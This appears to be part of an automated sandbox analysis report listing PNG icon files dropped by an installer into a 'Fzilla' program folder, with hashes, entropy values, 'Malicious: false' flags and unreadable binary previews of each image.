Preview:	.PNG........IHDR...0...0.....W......&IDATx...Et$.w.._FT....a..3333.......23...33..y..U....G.<G....../..)....._8...GWn....6.....u?s.~_...NO.......>....W.nP.%.{..V..w[.y...[......l....'~...O...........7...:G..`.....{.w...n;8.`._=.......w..............fs....t~.n.%..../..9{.@Exl.I.0.@''.!.......C.....;...7....>....9C...i..i."..D...B.9...}......vh6w..~.N.6..(...H..4........./3...n.'C......h.........mO..6.9s............'......S.#..mc.......1..!....b~..4..}^...6...v.d.y.V5N..Z.N<z.q`7.......@v.,...'3{k............r.....(.V..!N....4.K..Jv.B ...N....b........u.-oDe...$.S.X.@.-.+. .9......^ .{#.y1...;......)..x.....0P.,.h3..B.....9...hM....mc.Jb.E..n......@)l.'...$.F.LWw.......=C...d_...t..(..X..c]).X.;6#..3-...3h.l=..D...F..J.n(l{#9.W.DkA.i.Do}.^..I...@....x.B.Q.&....H.......X........&.....b..1/3 ..v.f..Q.>9.!.yJ.]=.Y.@.H"u.."-$.........W.....k.5.pT.Vq..=.....va(..7.c.S..ba.....9....ig......0rj....4.V.8I8AJ...2S.4...(.Rl.SkM.....L

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\folderup.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3195
Entropy (8bit):	7.9254572822682094
Encrypted:	false
SSDEEP:	96:juJScY72wUxEE0KSm/oN1UTSHShaVAPNE:juE72wUxEE0KV/oNtzx
MD5:	D21C34B78A9DF856BD28C7C81CFA17E8
SHA1:	23C9BF82DB4D06D642A78AB11E2CB26F17AF05B4
SHA-256:	9A3A4493A981EC73606E54560E12B143876F91E5F1A6A78C2D490867BC5EF9AA
SHA-512:	EE06B6725F3793456433199025E1C90F7FF1CD4300AEF8DD3F15FC8891D324BA5005A7FA032C5626C31D8FE9CB50AF3E92FD652571002DE7067F811C7A2E035C
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......BIDATx...........X^;.3...3'....................8;.]u..QIj.s.....~.ZjM..........7.....$>..D}...on......r.W...._^u..../...[..S....b.{/^.v..U.;...O..7........\|...C.{.vyq..4._.O.[....W....z...=..C=.%gmX0/...M.Y.~..%\|...+..8.V.X....n.p.....F...)...J.^.......b.)...4.........7S.b...j..$2......h^9.l1....A.\7....._...@l.....N..........G.ytu....K..y#..l^.C......=.^}..{......3..#kJiihwO!^.[...M...[.].y...}..r...3.L....0s.....C.z....v.e.U.7JO...+.1g..N...?g../`p."r...B-'\3.b...j._P.Z...e.....s.X....\|...8..f..$.AE..K...+Xp.a.....oy.Q......{.SF..V....I=....( .2..../_......=..p...z...Y"....H,P...j..e._..oz+Q.. ..!.gQ....?....m..Mb5..W..1+@...Gl~.c.s.......4%...U.T.1..0.He........>...}.6..:@.39..m.......r.5.U..9.......a..G.....~..=....@.J.B........d...5........'<.......z.L.E...QP.C.k!S..(x...K..Xq..^x...X.x.../.B.BQ..*..J.0P...0..C..?.o.}.}..?.>.:A.c..RifxQ4.,.S2.N......C6[..^..{.{..~...."a......3...@.P (.Z..n..j.

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\help.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4567
Entropy (8bit):	7.941100424314932
Encrypted:	false
SSDEEP:	96:2BDwDk4xYy+7pciuALuiC7mPeSMVeaRmac+HfKlmMe+FD:OwDpxY96AWSPecbacO8D
MD5:	35BC233BCD612C22DBF95ED0830E8AD0
SHA1:	02628CB445C2AF705AA70A980752967A76955467
SHA-256:	FAA5B4774C6F868AE6A835BF5C82A43FA62C4064246A97B23E41CDE1624AC9B9
SHA-512:	9A1D81AA44FDBD60906CC4E7B648310B76AE6318018D4B28957266B5846771422BAF826E1E5E96EFB0ACFA6220CC59D0D75D504B8D91B3B1BC61970E21F64DB4
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....tUW........... E...u.a....s.........)N5H B.$7v..~!..X.L.g.w.,..r\..[X.....t.......p...8.q"...n>H..;..F..?.1...T~hid..m...:K.\|......_......S.j..m.a..8..#......te.@WG..3..]IMT{.t.^......I.v.].>...<........=.3.'..4m.....3...t.i..p.l....\.B.D.o/.l...x...n..^~...`\|.......\..X~.O.k.y..._>.Kg-Zpf.yZ.X.T....r......Y..RM...J)<? W(q0=.l.i.W..%--{.Y.....c)!....b\E....=.7./^.i{.8.,...B.T......@.0...=..@.R...$..........=....p.2bN...R.or....O....caD .,.....2.P!T..l...../...2.6Z..}.^......m.{n\|...S...- ./ NB...h?;.C.\|...U.!.B..x...8>(@h 5.Tlp.h..i..?...Q..P.......+)dC.\....>..{...G...R..o?...sO>..A...)Af8..n....N.D..O.xVH>W$.$..]..5.)%.^...g....#.%......}#n...z../..?Y@J........>.j.d......L...!........m4)Ik!..C...a......"...m...1...P......=.]..'.2........ ......7....o.9..}....P..P,....'...(H......."...h...>......S.....8.&*........%.......H.Y.8^.[.../......-....g.O.p)V.t. .h.....<_..M.Z...p.E..K.....M...

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-364KM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2385
Entropy (8bit):	7.890971026189003
Encrypted:	false
SSDEEP:	48:/ANxOR6yQ47T0564Rj9u029HwhUSqQPmBNg/PDLnqDcOL0kuZlP9B69HXDFt6yx6:/ox/9A4B9uuqQPmBNKHqDekYX69HXDOv
MD5:	B8791DF2018EC7E38D1719F159CB23ED
SHA1:	0CBE401D6EC621ADA178A905AB35882FC2F13BCB
SHA-256:	55F9AAA59E203F9375779912431DC12E2151364CA1B79D994B11F4D9BC5DFF7C
SHA-512:	1C2660F03B8DC9ECA6AD9C6E467DE16438F39C11904946063BAA4405B47A29342E3551DE58CBF68175C69AF9BE13A2089EDC3E8E638E8F16D09181CD00389AFF
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..X.p"I...g`...[...............{N...nC..B...^UWql.......W.\|...Y..?.....0.Z\|.V\e..<...o.M.C.}....&O~N........7...9..B..<......`.....8.R..}....:....@0......T...!...O?..K,.dB.1 ..1H)...b.6..I@.(TAH..4..r..jQ..mBA.4.J.B.,^W@.~...\|..y`.Y.Y.....].%G---.6l.........[..4.Wh.?....5..^3..i&.A__.X`.......C.....J...p...(.K........B...N...+.,.T...7.V_X}....9.C..\|..d...<~.....E.5..(.x...........j..d@..T.J%..?..L....j..Z.._f.e.4T...\|.\|.UB..P.p]%."\A.P......P.O.....k.O...;.`..W...I$...P.".a.I.P.O...8.@.Q..L!"........_.=N>.dj.r.....q..W.2MS.I.....eY...3...o.C.a~Y..OA.8._B>...K)..ob.I.T.T..J}....:..>..S$B..<...A."\.....v#.r...%.k..4...X...5M..N:........q..7+.Xz.q....k....../.m._..f@..:.H}$..^...].)...d.'..#......To0..).?....@.Q....).t.......cu..m...+...~3P.(........BjjT..2.Z@.....;.7... _.Wc.z..... .*.......^<...x..'..s..d.....K/..[....Gq.}...+n.\|._.g....f.....5k...#..49:::..!B.\|.f...X..R......W..@....\.E<....

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-3J4OO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2732
Entropy (8bit):	7.9101997711015155
Encrypted:	false
SSDEEP:	48:tbKF+TBUVRZ9/0bAx1eRcuX+4M5d1HXNTQqIha7IwuoXfpOlgO9x2a:kF+8ZT1dfvFN0J0hNXxMgO9x2a
MD5:	A0395DBC01BC529F3876E7AE9A36C1E6
SHA1:	0D2E3C80B4BB350020480F246297859B44E0D6B8
SHA-256:	E687D47C08F32FC0B1DAA5CD577F3E2112087E36DA2876EED3FABA573C7D5F3F
SHA-512:	5B2C30630AAB23A9A9D083EF6559F4FCE3ACA43956F84ADF0A7DFFC6EA8AA11B9832BDA2A63D14184A7EF31C866AFF1B61A932322E357F0578F6359D5A486DF8
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......sIDATx...t#......%...sy/........._......e2.Z.4..o.<.\{-K...9e........e.......w......g.~.^d.#..._....\DJ.b.r.\|.0...\|.3....a.(...-R.....b..&.\.<..WVV..."..1[,?...u.;.Y.....y../..ut.u..n.T...z.N......$.}.:7.......+_.._....`g..Tk5j......s..M....+....{.U.Kn..2XK....[.&}R-.l......+.]............~.H>B~......5N.{....H>......[..:{..Q......00..8.u8g1..lV.1..V..ij..7W...\j.d...q.W..$."....g......80??......,.O0...<f_.Y(.Ep.P..M.....MA.....}](....$..a.....h+]Z...}.........V.......=._`h.......n.<..@..Ri.......v....8..!....%......\.g-..JP.vX..>.na.?..%Q...{`...#.......$I..46.bcgL.[..v......p..j..?A."...H.d&...0.2A@.....+.!J.........q...@....(.....b.3..h.....I..6%..4...b.!5..5...}.8.P..U.z.<.X...........5HRH.:.E]p..m..4E.......AF_z%..z....(.......w.a.`K...5..>....@T.....A.B....[...Ep...z..@iX.. ;..\E.....c.........Q.F...6..0....)...8.y........,.{!r.-............7...........":n..5i.......,TP..Q.5..k).........:..

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-6HH9K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3127
Entropy (8bit):	7.9184256749731885
Encrypted:	false
SSDEEP:	96:zszN3/tILzigh/jpZi8q4tAyYcAOeEET8ax7smm:w9/tIHi0pI8lAyYcAOeZ8Ezm
MD5:	4D09C6A4B0195E4B0CF5C054E1A980C7
SHA1:	3C978BEA31DFD8910D39517855665CF5D8877DE8
SHA-256:	0A2D3761C7AA029767A7A531104D043AC350D2B750F5691D94A2337C389E5996
SHA-512:	F93C2980705633DFDE2C49AFB11A169FC1F1356D89C0F559D8572C021A024EE9D1ABF11CB2919F822906EDB4CD20DDF987EA3FC1E4A83DEC0A4B4CE3BAE5C9E4
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....H....4L...n..GKo1.............^F{........2...xc...........JI.._........5.E8D/...f.5..u.]./..P.....3........t..m.\|Za...@......{...Z.J...v/...(.....'z.X...~.1.......`.6zBu.b....."...IA.Z....\y.&Sitt..$.`.\.S.V.g.O.<...^.y.g>o.........GL.......r0.V..........{.H...a..K.:`+....^........$...r.o6...ti.I..>ED..a..R...bF.T...f....]....@.K.s..)?.<...c.PUV.Mp.P.}.....\|.+...Q...Z. .#...O.. E./...i.\p./. .../t....("s.......$.d2)....I.;.)..DN.Qb...T.....p....=..N)..I....H...e.....9G.....i........(.B/u.n....y....B.R...........c...T.....K1..P.~._$^$....\.<...?.......E....".x..S.....a..&.TFTKN] ...&...+..4...\?.U.. ..y......8..E.@!..XQ.T........^9....C...@.H.............q..U.oE$..SB.B.L4...Q%w...h.....H..B!..R...0>.........7T5......R.....@...J..@;r....<.1..$A..B......%...a...\.P..Q.P..U..D.M.....h..V.4.T.......Zk..J8...$t.....6.W....[B......d....t....X.(......3..Q.?..7.R.+.@p...}.0.J.......M;a...(.....\....'..9

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-73DK5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3383
Entropy (8bit):	7.915261035735694
Encrypted:	false
SSDEEP:	96:PiGeCfn1RodedpPnVa6ewR13NdHIsk4BAyPGLqj4MdyOz:PiG7R5BVWwRnjpZP+qDyc
MD5:	B24FE8D9A6564FA51CC09C4D938537D9
SHA1:	D90B7470A9A633B5A91B5A3D865E4AEBF4518A45
SHA-256:	1473B63D7BC91DCE0E31FF05A1B7DA6F17E60743D812A43CA75F9F0FA12CF258
SHA-512:	0A195E0353531CF50BDA5587448A2594B13550663D8CDC24C8BA03EC925FCD4C9B6FBF0D65A2FDC6970A3EF12095F9D6B76338CC69723419FBDEEAD24EA1FC11
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....$...sJ=..3..5..l.m.m.m..f.;w.Y:'s......5.._DF.....j..8._.. ...r......+..hxh...i.....'$X.8.`..<Y1.R.b].r.F.Y...n..xU02.....+b=0.4Z......\`..^S?.....Y.......#C+M%.....F..!...?..MD..(.,.@m..'...f...)..@fg....(`.4GU.....&...D.Z....]>...I...D.4.....K..^.8......r.......6...4...W..W.@..p......;.....]..8PLO.,.^@..T....E..^..@Q.Y............o}./...8!......E.......C.....~........o..^.JT...=.....6.N.)<zET ..%..w.1.x...sRl...G..pH..E.e.WD.b#.w...........$....^...!Y..W.i....CU.^ ....."w..J^..{"^.PU.{...C..-...E..\....SB.._}MT.....1<`.EP....". .....X.U.(x.R....j5........1.Yn{.^..{..w..c....8.B.9.<X..@.3..U.K....f.........5G..`..(..(..7 Dq`.....Q...WR....-y.#.....i.(............. ..".v.\.j.5w\|...\.z-.....{8....L.....B.<...y&d..Nc.....N.(......'?..>....@Q.I.^...0....FE.\...4/....j.q...#.=q.." .A0....>.....A.".2\|.3!.:..).B....F...x.k........!...`..i6p..g.B...6f.c....Rb...(T..b...A..QH.,.M.t...N!

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-7ANLM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2705
Entropy (8bit):	7.890826650285452
Encrypted:	false
SSDEEP:	48:HytOUE29oT7fDnGFV7UAzgjH0g/IpyxK1AYDQSc3bRIywK:HytO526jGFFUAzuDIUEuYDdiaY
MD5:	9845AA5006D73FC951F1EC7F8095D9B2
SHA1:	E7DD566D2B80090A1F572DDE62F4C074748A827F
SHA-256:	52FCE71D8475BBE35C945B87F9D65F49564DA0333D579D23F89146C5DB0B7AF3
SHA-512:	063B6B3D0BC7474C9479DB3B0391CE5CA444326BAE49B0A40C34DF67B1DDD2106E659445BFE648D81E9044CF0C3DF9E9495E1E474615F073260EF77D348BECDC
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......XIDATx....$.G.."2+......m.m.w{.m.....x.7.s.VM.....n=F.......'lj.=v........[&:[./...[..oyd.g.....r...../...Ntf';....`.........k....1....\,.........'...F.....i..8.%.LvZ...{.f&Fv.w...j..x{....n....N{a....Y.ie$3j......VK^....6y.v.&.._..a.9V..6;.:..=7...b.w..O..v....\|b4O.,K.)q+...Rpq.bj4..\|.Vf.....`...........WG..>....A.<~y..5g./...Q..J....@M..P...g.......V.0<yy..W..'[..Q8.....!..@.C..W!F....<...X.8.z.......Q.H..$.@..A.) .B...h....o.....W.......%.)Q.RU3.U.FH4...N..bw@..A.$0.I.JA.&pW..\..{..nQ.....B@.PT"..j..R@H....p.Hl.A.,.JJ.Yj....0.)F#..t.'p5.\C.............&0[?hBT.D.u5.4\|..bSD..h].r(+ai=...u..A......B....U.R`..B..B......h...i.!...W.B.....n..&\.]..;...G..5q.2.....L...{..}@.u.@w\|..l".H...`.Y.>+af.X..^%B.n.K)tC.........U.. ..fD.).!.b..%#$\.tQ..H.@x..0..+.!....wf..<......!..A.z}./......Bu...!..x.&.N...............a.. Rh.H-.h..i+.....I$..a\^.........+w..P....Q. .z..........1.............5.9..&......

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-7DGCM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2275
Entropy (8bit):	7.876659828803413
Encrypted:	false
SSDEEP:	48:sxy6mreBeYVmkUadVGSLRYzorJVgOoXYOHYsd1JnLn:sxy6mrezJLGSLRUorJgXYqYsd/
MD5:	B14E641FF8F0DD167279AE4C888BEDC4
SHA1:	39B25B13117C2E1BAC04155DBBF1E06480C69E0A
SHA-256:	79F888E37D8993693F271762FC74B8592E02C8005C16D4D119637B2170E9D1E7
SHA-512:	81ACFC63122B9CEA0DC941E46378A7791759142827926FF2737657EB948F7D4E7ACE313EF3F468D89A4BF51FE20058407F88706FD13282C5B4B148B3105FA81E
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....d[.F..A.tm.k.l..um.m.m.m......]....sm.X.._...}N..]....8-..1-uv...Ca...H......}.[.}...x.T.nX.'L.Y.4...~..C.Jx..+y...\VBIKy.]a.OZ..^...}.nWR...$'.F.>/.:..8....G....@..v...o.Ci....D....I%I.o?.*.+.....$....(...:..mw)/g.o....... 4.i !a./2...-....s............ee,x.-\|.#.._J..2.M.Hj.%.....TWR8............\|...WU.h.p...B......c.T.\|....w?I.._.y..+a."...p...lwHm.......-.~...Y$. &.R....{..WI9...j........[.y...UV...o"...........h ... !T.....?.<uEE....#0.....F.\|.9.hld....t..8...X.....bb....9..LUa.yM[.~.....I.q...:......AX.B..'.t.....;....!.....`..S^TH.q...\|....+N..z...:....#...H.... ..%~n...c...K.....h..2..gFR.C..j:.G...A0.;k..w.=.....9l&L.X...(k.ha.A[...^......Q1......E.Nf...!...0V0.;i.../...!.671o.hLw......A...4.e"d....;BE .x..... F.T .w..K...h......j\.e.i.../.h.c...7n,Q..a.22.L..A...2^d......\|`.`]..8l.xm .H...K........SP[0..0.60.......n.....uu!M....{d.Q./opd..t.\|..S....r".8.......].......(x.IT./b....3..z.....

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-7PTFM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1653
Entropy (8bit):	7.848903233529697
Encrypted:	false
SSDEEP:	48:IQhz7G+3ciq35ka7jB9QkotDSnM7/2gopsm8iSwWb4:IQt7lciEh7jB9z3BVSwWb4
MD5:	46297C04805EDB41238BD691E809731D
SHA1:	CE882D16271D887FB1B899843BB2B0F0DB158BE3
SHA-256:	BF2F064AA74DF7EFE0F04E1DE0A2EAD434B7375F8D27E8A660E5B172A0BDEAA9
SHA-512:	F43B702EC464452FBE204D3FF436B2A59A3340F3C30CD40A40BB552B610A0E078735F17294985B0BED80F7F454C475FE51E5AB90046A3EB2BB8501EB6A862F85
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......<IDATx..Z.n$9.}...2333........oY./c.9Y.3...Sd..J.L._I..8..{.......?Z..g.9..!..?..;(..D.0......~..!...PH.R.J.x<x..y=..HdK..L&.....J.5i.j....UKu8. ...m.. iZ...Y..^..V.n.S%.l..N.v.}s.....[':..n....BD.........&.... /8...b5.>a.px...B.0@..]^$S.....?....iZ..?..p-.1.'7.....A..."..#.J..T.`U.q..JKK..:..K<`.X...}>.\|...b,.RS....I455.....y.S.MbM.w..."......BT..aZ.&... D....X.D.O....F...hT(W..0.1$..... .....%.X...r.."..'h...`ff..D.D...I\|....hHX.yItuu..r"...<...3p...-.R.4^.xi.].=....]WW.d<....A\.t..6m2~G.OE<.CmM.+..xB........abb..hD.6K.5k.c.N...U...._.\|Q..H.g!....-D"2y.t.2...a..U.+.@(...g..........D\&/..8.......PTX$...1T.T..H/.'...(....L..'.m.....s...~\|\|.....+.j......2V?.........b......>.....xzz..............W..g.].PRR".;q..S.....+..\|.R..9.P......4ZZ..Z.y....3.[.j..R.1...7...V...]..2?....ahx....u:]8{..($C.^.1ZnTv.&.&...6o....g6.3Rd....I..............9.. ....p@..a...=....<.X.A..8.....%-.$...ITUW1.y.2..{6..C....cx.^u.....U.....

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-8372U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1872
Entropy (8bit):	7.86915408146958
Encrypted:	false
SSDEEP:	24:qrw8gHSAaUZ5181KPpXc/Uffu5xymuvQs1qOZRKoc5YQY2MT33cLLd4kFBCitJcw:Ow8gyAaq1QujRmv/MbOiitO2fVuKb
MD5:	8BE2218AE8174B8B1ACC9627F040EAC0
SHA1:	9FCD927AB9AD40DACF0AC71103303EF4BAFCD707
SHA-256:	72B9B5493BBB42CF1289721878DD2F60B531ABBF09C36DB68683B9DDD07CB5B9
SHA-512:	95F6CFC8AC97AA026109AE6B0944364AAD677C5CA74CCBA78D92D5362423FAFB4BF83318D61D2CD96AB13118B60CF74BA027A0BF11ED1D82E2B64896B7088EC3
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..5.,.......^..w>233s...v..SC^.....)13.1...Hmo...j.....V.0..na.....}4.G..7....c.=.\|OQ.!.../.(J\|5W..2.U.....mPZR.`..Z..v:?K....C.\|.n..C..X(.r....'..?.M....>..TTF...>.....c'....T...b...g<.qm._.ak...V.......X]...V.<K..W.]K..P..Q.....c......B..D..u. 1(-...='c..e.$...X.Z._..3......2T?....V..1./..9..m..o\|....mY....~.C^k.......(&."..e8.bF=... ...c....*.....Z....c..\|.+H.#.C..C{a..........JA...7P..N/."M..>...tY[:..e.;\|.f.m...':.'O.:\I..v...........j.e..u...:....Zu.n...3fgg..G...6U....-..Q..<O....$ .`..d..a.....{..R.aTGuO.^K...A...y.'`.vo..@..-.O...8....6\.Xj...$...p..!p..U.de...^..o.y.R.g...T.D...3g..............Q..9.....#.q.H.\|./.x.c.0i.`......\|.....n.....h....f......).%.D...D..U..i...;. :=1......p...0T.6775.X?.A...sJy..1.I."... x_r^.^..[.f...........w.@Q.t.IO.R....90\..!..f........k-..`.H..p.f.....I.".X..y.z.H..Q.BP=D],.F.g?..........S..q...{.r./.u...f..........."..F...?s.4..:.VJ....].y>...4...1..2.j.4

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-9JPSB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2511
Entropy (8bit):	7.875677244487324
Encrypted:	false
SSDEEP:	48:uBsgTtptwMNfJJuze81NHvAulh3lb5TxZsRecgOvFyMmUH8A5JQEg:uBXtjwMfrl8LPLlTb9sQQDH8A3g
MD5:	A4F58BB4E259821DB6A3F302C58838B1
SHA1:	0ACCA291C77A789D8B93C5B7D93B7815D6535E1A
SHA-256:	65E102C9C97BC1DF82A8D749679C6CF183D10D6671F61050FC358746FCD61570
SHA-512:	7154A61F38E542F3895A8EE159E364AE4FAB373E1F9165BA616EC3D5113AB26057F24811AE940B9FB7AB16A1CF424E3E565952FC75F7E0FADA7D413FD0033E1B
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....K...j.=...s.ys...x........A...^..8.....}.)./..D...O.m+..:...e...s.....D.L! ..;.n.@.....>OD>........~..N......,..i.y<..N.}]q.>w..5.k\|.^G...).k..T.........S.V...j..9w...Z.K.XZ...T.........nw.....w.~6..+"...q..W.b.E?L.dw..I.....?.X..nAO}..vt.....W..w.c.".q.S..[.....:K......T_.......\0..>.......q.M...R..H...(..LD.D....y..-y..+.iw.........GW......nb.[.''.V.:.p......)U..+.^@./^.k.Yn...N=.]...'Vm.}........e3........D7.@B(...x..T.~..,.d..o......pt.G.FG........H.#...d.#"....N......`.........1...D.(b@P..4I.g...D.....k....)F.CP..L..6.e.......J...f...1^<Y.[5.]...e4.@...5...7.R..<.^/"P.....4..h4...9.x.n.3LH..#.......9....cB.l.Y<..<[!n;@qd.,}. ....cn..ms^.#..1...vR>..%......m.............C*`.a.L.......gJI.iR^.#..s.......q.!P^.C(#!S.Z....TF....B..'..@J..y9....oiL4..0.w.~}..u...[.....r..%9q.l..0....S...x..1...K...T...x.b.e..tJ-P!......S...m.0......LDmJ7. .........C.0j...n.Z.........Q......;..&[.....

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-9UQG0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4567
Entropy (8bit):	7.941100424314932
Encrypted:	false
SSDEEP:	96:2BDwDk4xYy+7pciuALuiC7mPeSMVeaRmac+HfKlmMe+FD:OwDpxY96AWSPecbacO8D
MD5:	35BC233BCD612C22DBF95ED0830E8AD0
SHA1:	02628CB445C2AF705AA70A980752967A76955467
SHA-256:	FAA5B4774C6F868AE6A835BF5C82A43FA62C4064246A97B23E41CDE1624AC9B9
SHA-512:	9A1D81AA44FDBD60906CC4E7B648310B76AE6318018D4B28957266B5846771422BAF826E1E5E96EFB0ACFA6220CC59D0D75D504B8D91B3B1BC61970E21F64DB4
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....tUW........... E...u.a....s.........)N5H B.$7v..~!..X.L.g.w.,..r\..[X.....t.......p...8.q"...n>H..;..F..?.1...T~hid..m...:K.\|......_......S.j..m.a..8..#......te.@WG..3..]IMT{.t.^......I.v.].>...<........=.3.'..4m.....3...t.i..p.l....\.B.D.o/.l...x...n..^~...`\|.......\..X~.O.k.y..._>.Kg-Zpf.yZ.X.T....r......Y..RM...J)<? W(q0=.l.i.W..%--{.Y.....c)!....b\E....=.7./^.i{.8.,...B.T......@.0...=..@.R...$..........=....p.2bN...R.or....O....caD .,.....2.P!T..l...../...2.6Z..}.^......m.{n\|...S...- ./ NB...h?;.C.\|...U.!.B..x...8>(@h 5.Tlp.h..i..?...Q..P.......+)dC.\....>..{...G...R..o?...sO>..A...)Af8..n....N.D..O.xVH>W$.$..]..5.)%.^...g....#.%......}#n...z../..?Y@J........>.j.d......L...!........m4)Ik!..C...a......"...m...1...P......=.]..'.2........ ......7....o.9..}....P..P,....'...(H......."...h...>......S.....8.&*........%.......H.Y.8^.[.../......-....g.O.p)V.t. .h.....<_..M.Z...p.E..K.....M...

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-B2G5D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	7.804029018238258
Encrypted:	false
SSDEEP:	24:pXmIaGcXF6qHQj+E9sz+wRjhnUhaIc8FTZN7KuXnPKfKLEb+wjEHs0cLCNUqR4:OTAL+9RjhnU8JipXSok+U0cLCNI
MD5:	927E70178104C85F31946F2C2647F2CB
SHA1:	00076FA27C7F449EEDF9954519CF83C373514667
SHA-256:	FF0E8425930242427E9B5AB78DC181B65FEF6B73B54E93423E01225D412ACE3F
SHA-512:	33566AF1AF64BBD2A2F9E54CD9D3F87A7927B97D36EE249D01BDD55FC079EB73B7427E07E465C2E450FEBF8195600A9322006237C8E2832553C1610561632752
Malicious:	false
Preview:	.PNG........IHDR...0...0.....`......jPLTE...................................................................................................333......222..............................000111VVV...;;;...)))+++......444777<<<EEEHHH...]]]................................%%%.......................[[[dddgfgiiillm...............$$$ YYYFFF...BBB...CBC..././.........GGG...&&&(()JJJKKJKKK......LLL......a`a! ......GFG............III......nmnppp...-,-MMM......PPP...QQQ......RRR.........WWVWWXXXX...............**..................666\\\............888aaa......bbb......eeefff---hhh===......jjjkkklll>>>???AAAqqqssststtttuuvvvvwwwxxxzzz{{{}}}..................H!Q.....tRNS..........................{`;...~IDATx.....I...8i....Fl.g.m.m.OW..A.p...S...v.;......51.&/..T.......`...,.1.9W..a...v.".f..\|..J.......W>.......... :!..\|...)pP....{.V=...<.`.....mC.q87pPQ.b......B .......w2..}e.S_c}...........q..+FMp...H(..>..O..t=.8..@\|..#.m.,?.........g?X{.......5E.....#`...........i.

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-BI3AG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3635
Entropy (8bit):	7.93617930345458
Encrypted:	false
SSDEEP:	96:/RJHY8qW7rhMGNiC5OCi6ib7p5US29RLxA4tZULvU0RkML6OJ:/Dl3h3iC5OCi6k01Lzk4aKk
MD5:	49D929E443AEEF38D291EB7D70CDE363
SHA1:	5F35BD73E5DD36AE36589D07A1BFA4E3DDBFF40D
SHA-256:	9DF2D9717F11EA52791C49EEDB35EC1AE2BEA7AE34690F7C459086E284AEAE9D
SHA-512:	A04CEF618B0F21D7B6005CACE2AD1A9721867DF81E338042475A5E2562AF5265A4D00C43A39E595C6A7EDEF7B3790B236585831A00435270A31C06334AF8A89D
Malicious:	false
